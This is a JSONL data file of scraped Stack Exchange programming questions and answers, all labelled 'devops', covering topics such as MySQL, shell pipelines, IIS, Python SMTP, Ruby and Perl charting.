{"id": "hf_c309b8129ae7", "question": "<p>I have a Java application that launches another java application.  The launcher has a watchdog timer and receives periodic notifications from the second VM.  However, if no notifications are received then the second virtual machine should be killed and the launcher will perform some additional clean-up activities.</p>\n\n<p>The question is, is there any way to do this using only java? so far I have to use some native methods to perform this operation and it is somehow ugly.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You should be able to do that\n```\njava.lang.Runtime.exec\n```\nand shell commands.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.458770"}
{"id": "hf_a2248e1c4a13", "question": "<p>How can I find what databases I have a minimum of read access to in either basic SQL, MySQL specific or in PHP?</p>\n", "question_body": "", "answer": "In MySQL, you can execute\n```\nSHOW DATABASES;\n```\nDescription\n```\nSHOW DATABASES;\n```\nto see what you have at least minimal access to. Are you looking for something more programmatic?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.482733"}
{"id": "hf_02649c227dc2", "question": "<p>As I build *nix piped commands I find that I want to see the output of one stage to verify correctness before building the next stage but I don't want to re-run each stage. Does anyone know of a program that will help with that? It would keep the output of the last stage automatically to use for any new stages. I usually do this by sending the result of each command to a temporary file (i.e. tee or run each command one at a time) but it would be nice for a program to handle this.</p>\n\n<p>I envision something like a tabbed interface where each tab is labeled with each pipe command and selecting a tab shows the output (at least a hundred lines) of applying that command to to the previous result.</p>\n", "question_body": "", "answer": "Use 'tee' to copy the intermediate results out to some file as well as pass them on to the next stage of the pipe, like so:\n```\n```\ncat /var/log/syslog | tee /tmp/syslog.out | grep something | tee /tmp/grep.out | sed 's/foo/bar/g' | tee /tmp/sed.out | cat >>/var/log/syslog.cleaned\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.506834"}
{"id": "hf_b7fdaa6b74f7", "question": "<p>I talked to a few friends who say that Drupal is amazing, and it is a way better than Joomla. What are the major differences/advantages?</p>\n", "question_body": "", "answer": "The\nAPI\n. Every form and pretty much every bit of functionality can be modified via a module that hooks into the API, without having touch core code.  This makes upgrades\nmuch\neasier, as your customisations aren't overwritten.\nThe code it outputs by default is much nicer, as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.559557"}
{"id": "hf_3d6c895bead5", "question": "<p>Does Java impose any extra restrictions of its own. Windows (upto Vista) does not allow names to include</p>\n\n<pre><code>\\ / &lt; &gt; ? * :\n</code></pre>\n\n<p>I know HOW to validate names (a regular expression).</p>\n\n<p>I need to validate filenames entered by users.  </p>\n\n<p>My application does not need to run on any other platform, though, of course, I would prefer to be platform independent!</p>\n", "question_body": "", "answer": "No, you can escape any character that Java doesn't allow in String literals but the filesystem allows.\nAlso, if trying to port an Windows app to Mac or Unix it is best to use:\n```\n```\nFile.separator\n```\n```\nTo determine the correct file separator to use on each platform.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.596588"}
{"id": "hf_23ee5d77cdfe", "question": "<p>As a programmer I have no idea how one would go about programming menus for a DVD, I have heard that this is possible, and even seen basic games using DVD menus - although it may very well be a closed-system. Is it even possible and if so, what language, compilers etc exist for this?</p>\n", "question_body": "", "answer": "There are a couple of open source projects that can create DVDs plus menus. I recently used\ndvd-slideshow\nto create a simple dvd with menus etc. Another one is\nDVD Styler\n. All of these programs are basically a front-end for various command-line tools for encoding, menu creation etc. Since these are open source projects you can have a look at the source and check out how they accomplish this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.656349"}
{"id": "hf_4d3dca155668", "question": "<p>Is there a preferred way to handle animation when using Flex -- For instance, if I want to render a ball and bounce it around the screen?</p>\n", "question_body": "", "answer": "I prefer to use a tweening library for things like this.  Check these out:\nTweener\nTweenLite / TweenMax\nKitchenSync\nI've had good luck actually using the first two, and have read great things about the last one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.732694"}
{"id": "hf_3c76a0c93162", "question": "<p>Struts 1.3 application.  Main website is NOT served by struts/Java.  I need to forward the result of a struts action to a page in the website, that is outside of the struts context.  Currently, I forward to a JSP in context and use a meta-refresh to forward to the real location.  That seems kinda sucky.  Is there a better way?</p>\n", "question_body": "", "answer": "You can't \"forward\", in the strict sense. Just call\n```\nsendRedirect()\n```\non the\n```\nHttpServletResponse\n```\nobject in your\n```\nAction\n```\nclass's\n```\nexecute()\n```\nmethod and then,\n```\nreturn null\n```\n.\nAlternately, either call\n```\nsetModule()\n```\non the\n```\nActionForward\n```\nobject (that you are going to return) or set the path to an absolute URI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.776942"}
{"id": "hf_b0ef588888da", "question": "<p>Out of the box SSRS reports cannot have data exposed in the page header.  Is there a way to get this data to show?</p>\n", "question_body": "", "answer": "You have to do it through Parameters. Add a parameter for each piece of data you would like to display, then set the parameter to Hidden. Then set the default value to \"From Query\" and set the Dataset and Value field to the appropriate values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.799609"}
{"id": "hf_e52f1951c3e2", "question": "<p>Continuing the \"Hidden features of ...\" meme, let's share the lesser-known but useful features of Ruby programming language.</p>\n\n<p>Try to limit this discussion with core Ruby, without any Ruby on Rails stuff.</p>\n\n<p>See also:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/9033/hidden-features-of-c\">Hidden features of C#</a></li>\n<li><a href=\"https://stackoverflow.com/questions/15496/hidden-features-of-java\">Hidden features of Java</a></li>\n<li><a href=\"https://stackoverflow.com/questions/61088/hidden-features-of-javascript\">Hidden features of JavaScript</a></li>\n<li><a href=\"https://stackoverflow.com/questions/709679/hidden-features-of-ruby-on-rails\">Hidden features of Ruby on Rails</a></li>\n<li><a href=\"https://stackoverflow.com/questions/101268/hidden-features-of-python\">Hidden features of Python</a></li>\n</ul>\n\n<p>(Please, just <em>one</em> hidden feature per answer.)</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "I find using the\ndefine_method\ncommand to dynamically generate methods to be quite interesting and not as well known.  For example:\n```\n```\n((0..9).each do |n|\n    define_method \"press_#{n}\" do\n      @number = @number.to_i * 10 + n\n    end\n  end\n```\n```\nThe above code uses the 'define_method' command to dynamically create the methods \"press1\" through \"press9.\"  Rather then typing all 10 methods which essentailly contain the same code, the define method command is used to generate these methods on the fly as needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.869024"}
{"id": "hf_9cdf55af37a5", "question": "<p>I want to put a copyright notice in the footer of a web site, but I think it's incredibly tacky for the year to be outdated.</p>\n<p>How would I make the year update automatically with <a href=\"http://en.wikipedia.org/wiki/PHP#History\" rel=\"noreferrer\">PHP 4</a> or <a href=\"http://en.wikipedia.org/wiki/PHP#History\" rel=\"noreferrer\">PHP 5</a>?</p>\n", "question_body": "", "answer": "```\n```\n<?php echo date(\"Y\"); ?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.901008"}
{"id": "hf_4cb72938cc07", "question": "<p>Is there a way to auto discover a specific WCF service in the network? I don't want to config my client with the address if this is possible.</p>\n", "question_body": "", "answer": "What you want to look at is the WS-Discovery protocol.  I found a sample on\nnetfx3's\nwebsite of using the\nspecification\n.  I would recommend searching services based on scope, by probing for services based on a specific endpoint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.935292"}
{"id": "hf_cfe0f0f60add", "question": "<p>It's a bit difficult to implement a deep object copy function. What steps you take to ensure the original object and the cloned one share no reference? </p>\n", "question_body": "", "answer": "A safe way is to serialize the object, then deserialize.  This ensures everything is a brand new reference.\nHere's an article\nabout how to do this efficiently.\nCaveats: It's possible for classes to override serialization such that new instances are\nnot\ncreated, e.g. for singletons.  Also this of course doesn't work if your classes aren't Serializable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.981678"}
{"id": "hf_73f5dfdabb18", "question": "<p>How do I change font size on the DataGridView?</p>\n", "question_body": "", "answer": "Use the Font-property on the gridview. See MSDN for details and samples:\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.datagridview.font.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.016289"}
{"id": "hf_c4a9f7221cf2", "question": "<p>I have a small diagnostic VB.Net application ( 2 forms, 20 subs &amp; functions) written using VB.Net 2008 that targets Framework 2.0 and higher, but now I realize I need to support Framework 1.1.   I'm looking for the most efficient way to accomplish this given these constraints:</p>\n\n<ul>\n<li>I don't know which parts of the application are 2.0-specific.  </li>\n<li>I could reconstruct the forms without too much trouble.   </li>\n<li>I need to support SharpZipLib</li>\n</ul>\n\n<p>My current idea is to find and install VB.Net 2003, copy over my code and iteratively re-create the tool.  Are there better options?</p>\n", "question_body": "", "answer": "Probably not. If you don't understand which bits are 2.0-specific, you're probably going to have to go the trial-and-error route. However, you can probably save yourself quite a bit of work if you go looking for generics beforehand. In my experience, those are the most numerous 1.1-incompatible bits that tend to make it into my code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.050616"}
{"id": "hf_fb2bb88b4990", "question": "<p>In Python is there any way to make a class, then make a second version of that class with identical dat,a but which can be changed, then reverted to be the same as the data in the original class? </p>\n\n<p>So I would make a class with the numbers 1 to 5 as the data in it, then make a second class with the same names for sections (or very similar). Mess around with the numbers in the second class then with one function then reset them to be the same as in the first class. </p>\n\n<p>The only alternative I've found is to make one aggravatingly long class with too many separate pieces of data in it to be readily usable.</p>\n", "question_body": "", "answer": "A class is a template, it allows you to create a blueprint, you can then have multiple instances of a class each with different numbers, like so.\n```\n```\nclass dog(object):\n    def __init__(self, height, width, lenght):\n        self.height = height\n        self.width = width\n        self.length = length\n\n    def revert(self):\n        self.height = 1\n        self.width = 2\n        self.length = 3\n\ndog1 = dog(5, 6, 7)\ndog2 = dog(2, 3, 4)\n\ndog1.revert()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.129967"}
{"id": "hf_b8f499a027b6", "question": "<p>When a script is saved as a bundle, it can use the <code>localized string</code> command to find the appropriate string, e.g. in <code>Contents/Resources/English.lproj/Localizable.strings</code>. If this is a format string, what is the best way to fill in the placeholders? In other words, what is the AppleScript equivalent of <code>+[NSString stringWithFormat:]</code>?</p>\n\n<p>One idea I had was to use <code>do shell script</code> with <code>printf(1)</code>. Is there a better way?</p>\n", "question_body": "", "answer": "As ugly as it is, calling out to\n```\nprintf(1)\n```\nis the common solution.\nA cleaner, though somewhat more complex, solution is to use AppleScript Studio, which allows you to call into Objective-C objects/classes from your AppleScript code with the\n```\ncall method\n```\nsyntax documented\nhere\n.\nWith that, you'd be able to use something like this:\n```\n```\ncall method \"stringWithFormat:\" of class \"NSString\" with parameters {formatString, arguments}\n```\n```\nThe downside of this, of course, is that you need to write an AppleScript Studio app instead of just writing a simple script. You do get a good bit more flexibility in general with Studio apps, though, so it's not all together a terrible route to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.161426"}
{"id": "hf_bcd67ae6b104", "question": "<p>I'm reading lines of text that can come in any order. The problem is that the output can actually be indentical to the previous output. How can I detect this, without sorting the output first?</p>\n\n<p>Is there some kind of hash function that can take identical input, but in any order, and still produce the same result?</p>\n", "question_body": "", "answer": "So you have input like\n```\n```\nA B C D\nD E F G\nC B A D\n```\n```\nand you need to detect that the first and third lines are identical?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.271460"}
{"id": "hf_15134c5349e1", "question": "<p>I'm using an identical call to \"CryptUnprotectData\" (exposed from Crypt32.dll) between XP and Vista. Works fine in XP. I get the following exception when I run in Vista:</p>\n\n<pre><code>\"Decryption failed. Key not valid for use in specified state.\"\n</code></pre>\n\n<p>As expected, the versions of crypt32.dll are different between XP and Vista (w/XP actually having the more recent, possibly as a result of SP3 or some other update).</p>\n\n<p>More specifically, I'm encrypting data, putting it in the registry, then reading and decrypting using \"CryptUnprotectData\". UAC is turned off.</p>\n\n<p>Anyone seen this one before?</p>\n", "question_body": "", "answer": "The\nCryptUnprotectData function\ndocumentation states that it usually only works when the user has the same logon credentials as the encrypter.\nThis suggests to me that maybe the key is tied to the user's current token. Since you mention Vista, this makes me think UAC and restricted tokens.\nCan you show us some code? Can you give us more information about what you're doing with the data -- i.e. are you moving it between processes, or users, or computers?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.364825"}
{"id": "hf_76a345e63bad", "question": "<p>We create new sites in IIS 6 (Windows Server 2003) using IIS Manager.  When these sites are created in IIS 6, the ASP.NET version defaults to ASP.NET 1.1.  We would like it to default to ASP.NET 2.0.  The reason this is a problem for us is that when you take any site on the server and switch the ASP.NET version from ASP.NET 1.1 to ASP.NET 2.0, all web sites recycle.</p>\n\n<p>Is there a setting in the IIS metabase that controls this or a way to create a site via script that sets the ASP.Net version correctly so that we can avoid the IIS reset when setting up each site?</p>\n", "question_body": "", "answer": "Find the directory for the version of .Net you want, for example;\nC:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\nGet a cmd prompt there and then run aspnet_regiis -i.\nFurther info @\nhttp://weblogs.asp.net/owscott/archive/2006/05/30/ASPNet_5F00_regiis.exe-tool_2C00_-setting-the-default-version-without-forcing-an-upgrade-on-all-sites.aspx\nRyan", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.398201"}
{"id": "hf_675cb57c4853", "question": "<p>Does emacs have something like vi's “set number”, so that each line starts with its line number?</p>\n", "question_body": "", "answer": "Take a look at this article. It explains various ways to add line numbers to emacs:\nhttp://www.emacswiki.org/cgi-bin/wiki/LineNumbers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.451951"}
{"id": "hf_967451a808ab", "question": "<p>The design for the website I am working on calls for a custom image on lists instead of a bullet.  Using the image is fine, but I have been having difficulties ensuring that it is centered against the text of the list item across all browsers.  Does anyone know of a standard solution for this?</p>\n", "question_body": "", "answer": "Have you tried adding the following code in your CSS file?\n```\n```\nli\n{\n   background-image: URL('custom.png');\n   background-repeat: no-repeat;\n   background-position: center;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.485509"}
{"id": "hf_d72010a6412e", "question": "<p>I'm trying to load a page that is basically an edit form inside a\ndialog (ui.dialog).  I can load this page fine from an external (I'm\nusing asp.net) page.</p>\n\n<p>The problem is that inside of my \"popup\" form, I need to <code>$(function()\n{my function here});</code> syntax to do some stuff when the page loads,\nalong with registering some <code>.fn</code> extensions for some dynamic dropdowns\nusing ajax calls.</p>\n\n<p>I have created my <code>&lt;script type=\"text/javascript\" src=\"jquery.js\"&gt;</code> but\nI don't think these are being included, and also my <code>$(function)</code> is not\nbeing called.</p>\n\n<p>Is this possible to do or do I need to find another way of\naccomplishing what I need to do? </p>\n", "question_body": "", "answer": "If you really need to load that form via AJAX you could to do all the Javascript stuff in  $.ajax callback itself.\nSo, you load the popup form like this:\n```\n```\n$.ajax({\n   //...\n   success: function(text) {\n       // insert text into container\n       // the code from $(function() {});\n   }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.531601"}
{"id": "hf_a9ff44c51b45", "question": "<p><strong>Emacs</strong>:  <code>C-U (79) #</code> &raquo; a pretty 79 character length divider</p>\n\n<p><strong>VIM</strong>:  <code>79-i-#</code> &raquo; see above</p>\n\n<p><strong><a href=\"http://macromates.com/\" rel=\"nofollow noreferrer\">Textmate</a></strong>: ????</p>\n\n<p>Or is it just assumed that we'll make a Ruby call or have a snippet somewhere?</p>\n", "question_body": "", "answer": "I would create a bundle command to do this.\nYou can take editor selection as input to your script, then replace it with the result of execution.  This command, for example, will take a selected number and print the character '#' that number of times.\n```\n```\npython -c \"print '#' * $TM_SELECTED_TEXT\"\n```\n```\nOf course this example doesn't allow you to specify the character, but it gives you an idea of what's possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.571995"}
{"id": "hf_67eb7a988df3", "question": "<p>I want to serve a lot of big files in a Plone site. By big files I mean around 5MB (music) and a lot of them. I've already do it straight to the ZODB, not a good idea. I'm running Plone 3.1.1 and Zope 2.10.6.</p>\n", "question_body": "", "answer": "As you may already know, the long-term solution for this is supposed to be the ZODB BLOB support.\nTicket 6805\nis probably the most authorative source on this. Unfortunately, the milestone is set to 4.0, and running it in production on an older release is perhaps not a good solution.\nThere has, historically, existed a lot of Plone products for storing files externally, keeping only metadata in the ZODB. I have tried several of them, and from my experience, there is not a single one that works well with current Plone/Zope releases. Don't trust me on this, though, I have not tried any products of this type the last year or so.\nPersonally, I would go for a solution that is as simple as possible and doesn't involve Plone more than neccesary. Storing the music files on disk, serving them directly from apache/whatever web server you use, keeping only metadata in Plone - in a product you write yourself, will give you a robust solution with good performance. That is, your product should produce links to a path on your web server where the music files are available.\nIf you require authorization for download of the music files and assuming that you run lighthttpd or apache in front of your Zope, looking at a solution based on X-sendfile is probably the best option. With X-sendfile, you keep the files on disk, and add a header (X-sendfile) to the response when a music file should be sent to the client browser. The web server will pick this header up and send the file to the client, without Plone being involved.\nSome pointers:\nhttp://tn123.ath.cx/mod_xsendfile/\n(The apache module)\nhttp://john.guen.in/past/2007/4/17/send_files_faster_with_xsendfile/\n(Ruby example)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.645564"}
{"id": "hf_a71e7848c998", "question": "<p>I'm looking for a good server/client protocol supported in Python for making data requests/file transfers between one server and many clients.  Security is also an issue - so secure login would be a plus.  I've been looking into XML-RPC, but it looks to be a pretty old (and possibly unused these days?) protocol.</p>\n", "question_body": "", "answer": "Pyro\n(Python Remote Objects) is fairly clever if all your server/clients are going to be in Python. I use\nXMPP\nalot though since I'm communicating with hosts that are not always Python. XMPP lends itself to being extended fairly easily too.\nThere is an excellent XMPP library for python called\nPyXMPP\nwhich is reasonably up to date and has no dependancy on Twisted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.692714"}
{"id": "hf_ceca83ebf212", "question": "<p>I'd like to convert a Parallels Virtual Machine image on my mac into an image usable by Virtual PC 2007.  Does anyone know how to do that, or if it is possible?</p>\n", "question_body": "", "answer": "It looks like qemu-img from\nqemu\ncan do this, at least looking at its commandline help on a Ubuntu 8.04 machine where it claims support for, among others, the \"parallels\" and the \"vpc\" format.\nHave not tried myself, though. Hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.725969"}
{"id": "hf_e1638896d910", "question": "<p>Is there a good <code>.Net</code> implementation of the <code>NNTP</code> protocol?</p>\n", "question_body": "", "answer": "There is a C# tutorial for reading posts using NNTP\nhere\n.  It should be enough to get you started but if you wish to start getting into processing binary posts, you're probably going to have to deal with some mime-type content too.  I don't think this article covers that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.759280"}
{"id": "hf_6a015b30f63f", "question": "<p>I'd like to use alternatives to System Center Virtual Machine Manager 2008 is possible, in other words, any FREE tools?</p>\n", "question_body": "", "answer": "Google \"Pysical to virtual conversion\" or P2V.  There are several solutions available.  Unfortunately it sounds as though not many have had success with Microsoft's solution.\nTry the following:\n1. Download and install the VMWare Converter and follow the instructions to convert the physical machine.\n2. Download the VMWare to VHD conversion utility from VMToolkit.com and convert the image.\nThis didn't work for me when I tried it last week, but I think it is because the drive I converted used PGP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.782138"}
{"id": "hf_94a46831fd50", "question": "<p>I have a VB6 program that someone recently helped me convert to VB.NET</p>\n\n<p>In the program, when saving files, I stamp them with the date which I was getting by calling the Today() function. </p>\n\n<p>When I try to run the new VB.NET code in Vista it throws a permission exception for the Today() . If I run Visual Studio Express (this is the 2008 Express version) in Admin mode, then the problem doesn't occur, but clearly I want to end up with a stand-alone program which runs for all users without fancy permissions.</p>\n\n<p>So how can a normal VB.NET program in Vista get today's date?</p>\n", "question_body": "", "answer": "Use\n```\nDateTime.Now\n```\nor\n```\nDateTime.Today\n```\n.  These are entirely managed and shouldn't throw security exceptions.\nThe old VB6 functions, such as\n```\nLen()\n```\n,\n```\nLeft()\n```\n,\n```\nRight()\n```\n,\n```\nOpenFile()\n```\n,\n```\nFreeFile()\n```\nare all present in the .NET Framework in the Microsoft.VisualBasic DLL.  To maintain backwards compatibility, they all call the old functions in unmanaged code.  Unmanaged code requires special security permissions because it can be dangerous.\nWhenever possible, try and use the newer .NET functions.  They are usually much faster (File IO using Streams for instance) and safer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.816416"}
{"id": "hf_684161cb8c7d", "question": "<p>I am rewriting code to handle some embedded communications and right now the protocol handling is implemented in a While loop with a large case/switch statement.  This method seems a little unwieldy. What are the most commonly used flow control methods for implementing communication protocols?</p>\n", "question_body": "", "answer": "For cases where you key off of a field in a protocol header to direct you to the next stage of processing for that protocol, arrays of function pointers can be used. You use the value from the protocol header to index into the array and call the function for that protocol.\nYou\nmust\nhandle all possible values in this array, even those which are not valid. Eventually you will get a packet containing the invalid value, either because someone is trying an attack or because a future rev of the protocol adds new values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.839777"}
{"id": "hf_2ae5bfa45078", "question": "<p>I'm using the following method to send mail from Python using SMTP. Is it the right method to use or are there gotchas I'm missing ?</p>\n\n<pre><code>from smtplib import SMTP\nimport datetime\n\ndebuglevel = 0\n\nsmtp = SMTP()\nsmtp.set_debuglevel(debuglevel)\nsmtp.connect('YOUR.MAIL.SERVER', 26)\nsmtp.login('USERNAME@DOMAIN', 'PASSWORD')\n\nfrom_addr = \"John Doe &lt;john@doe.net&gt;\"\nto_addr = \"foo@bar.com\"\n\nsubj = \"hello\"\ndate = datetime.datetime.now().strftime( \"%d/%m/%Y %H:%M\" )\n\nmessage_text = \"Hello\\nThis is a mail from your server\\n\\nBye\\n\"\n\nmsg = \"From: %s\\nTo: %s\\nSubject: %s\\nDate: %s\\n\\n%s\" \n        % ( from_addr, to_addr, subj, date, message_text )\n\nsmtp.sendmail(from_addr, to_addr, msg)\nsmtp.quit()\n</code></pre>\n", "question_body": "", "answer": "The main gotcha I see is that you're not handling any errors:\n```\n.login()\n```\nand\n```\n.sendmail()\n```\nboth have\ndocumented exceptions\nthat they can throw, and it seems like\n```\n.connect()\n```\nmust have some way to indicate that it was unable to connect - probably an exception thrown by the underlying socket code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.876157"}
{"id": "hf_bceacd178987", "question": "<p>How do I use Perl to create graphs?</p>\n\n<p>I'm running scheduled job that creates text reports.  I'd like to move this to the next step (for the management) and also create some graphs that go along with this.  Is this possible / feasible?   It'd be great if I could do this using Office some how.</p>\n\n<h2>update: solutions i'm going to investigate in this order</h2>\n\n<ul>\n<li>Spreadsheet::WriteExcel (this seems to now have changed from the last time i investigated this .... wait, this was suggested by the author of the module.  cool.)</li>\n<li>GD Graph - this is now available for ActivePerl(wasn't last time i looked)</li>\n<li>SVG</li>\n<li>Open Charts look interesting.</li>\n<li>Chartdirector</li>\n</ul>\n", "question_body": "", "answer": "```\n```\nSpreadsheet::WriteExcel::Chart\n```\n```\nYou might need something like strawberry or vanilla Perl to get this to compile. Or PPM might have the module.\nTutorial link:\nhttp://search.cpan.org/dist/Spreadsheet-WriteExcel/charts/charts.pod", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.923300"}
